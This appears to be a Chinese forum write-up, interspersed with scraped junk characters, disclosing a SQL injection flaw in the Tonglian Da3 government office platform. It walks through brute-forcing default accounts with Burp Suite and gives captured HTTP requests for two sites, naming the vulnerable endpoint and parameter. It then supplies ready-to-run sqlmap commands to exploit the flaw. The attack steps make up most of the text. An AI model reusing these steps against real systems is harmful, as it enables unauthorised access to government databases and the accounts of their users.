同联Da3协同办公平台前台通用sql injection漏洞

admin

f) A7 h, x2 @# {8 F2 v 平台简介： 6 r+ H$ }" e! J' ]+ k" l

1 F# J/ k& ?/ U0 z9 c4 F/ H

( ]. m* n. u& b+ y4 }7 U  

* e$ |) H3 O# e$ T5 S) x+ n8 R0 ? 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
; ^, k8 ]( T- }- F同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
' a* a1 x, o% V- F7 v7 N8 r同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

3 F2 Y3 X H% ~+ S

8 ]1 b& n" t3 f* O9 \  

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

4 r+ c' H5 r7 \9 b

; J. ]3 A; l7 R/ s& D3 F   3 A0 y( I* z% }9 R. k

7 r' C7 o* c% c) k3 u

6 F% W0 d1 y* l http://1.1.1.1:7197/cap-aco/#（案例2-） - K. S$ ^" ?7 r8 `3 w# ?

http://www.XXOO.com （案例1-官网网站） $ P% m1 m2 k, Q# {" B, B

5 ^1 a x0 \, |% H A3 w4 Z8 J! o0 @

 

漏洞详情: 7 o) n+ D, @- z/ j3 q u; |

6 N7 T1 x e, h+ @$ q  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 1 J u, X$ W; W. N/ Z; |& j

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

; q+ p7 Z8 L R: J/ o7 W

 

/ O7 j( a5 L4 }2 t# w) i

  * t$ G' C! \7 A

6 b$ E [) ?" `0 e& R+ c, Z

& s p( n) A' a1 v$ T: | status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

~$ U2 w; Y. P4 G 1、案例1-官方网站

1 P0 X9 F% _7 O( w9 ^- Y# ^

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 . M* e9 `: R2 J3 J: ^1 q( a: k G

Host: www.XXOO.com W% I L# j: P& c0 I6 G$ I8 U

' ^. r0 L" A! ? v1 I2 z

# `$ M6 {* S% R Proxy-Connection: Keep-Alive

# Y7 T' u' j' ]* |

Accept: application/json, text/javascript, */*; q=0.01

# d* E' b9 v8 L) c

Accept-Language: zh-CN - S# h* m* e5 N- N& d& E

Content-Type: application/json 1 p4 m, d% s$ S! I- L6 ?* B. w

" M1 O* _) J, G8 c/ K4 i9 X User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko 7 }: E0 i0 `: i6 I

8 U/ J; d. D6 b8 D

4 s2 a q( A+ p& y+ h0 v X-Requested-With: XMLHttpRequest 4 a" }: {! ]( K" S( s

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

3 ]" e/ L3 i: d7 o; a. K6 C2 ~; L" t

/ c! a: l0 Q$ L! s Accept-Encoding: gzip, deflate, sdch , E% p! q) g" ]; t' I

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e - Y2 a, ^& L4 e: a5 R x

* F# O4 N- @5 K. h( m 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

  , m g; b5 B2 ?9 J& j

1 L- q. @: ?0 u4 u; s3 j7 ]  

2 O M2 \# @9 B! M

, ]* W: e3 l& n/ V1 o  

' T p7 ]5 |* q   ; N* U# l# D, M2 \/ Y

6 h3 p) z6 v$ B- Q3 R, {' V

  " h* m4 Y$ d6 r

7 ~. j6 l; B5 H1 x4 a* a

2、案例2-某天河云平台

* {" ~8 b2 b/ \9 }" ~9 P. a

' t P; w4 I4 R8 w5 u GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

* e3 [4 T+ ~. e4 c, P5 l Host: 1.1.1.:7197

& r2 v) C: w* ?4 n% {# j8 f

, ^6 L. V3 T* R* D/ |! d" w9 R- L Accept: application/json, text/javascript, */*; q=0.01 - ]1 a: y5 k7 H8 l4 ~. |

1 U6 `- H# l- w, D" ?" Q3 A3 e X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 ' V% K8 I' v7 q- e0 I5 Z2 q

) g* Y& j7 p: m5 A) J3 [

Content-Type: application/json

) [* j" e3 F7 {3 J( b5 b

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

Accept-Language: zh-CN,zh;q=0.8 / Y) t6 ~- I! K# V. o5 Z

3 ?# b2 W% o/ Z& V) y F, j Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 # W0 R! Z+ Y: H, X

# Y9 d' n4 p% n2 e. O

Connection: close : `0 M* i$ l; l7 l2 b9 K0 ^

3 M# L4 V& G/ o" O; I

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: : c! c8 `6 c' o$ d3 ?

  $ ^) n" |; v$ _$ Z7 u

: g- D4 Q' n/ k0 [ h3 b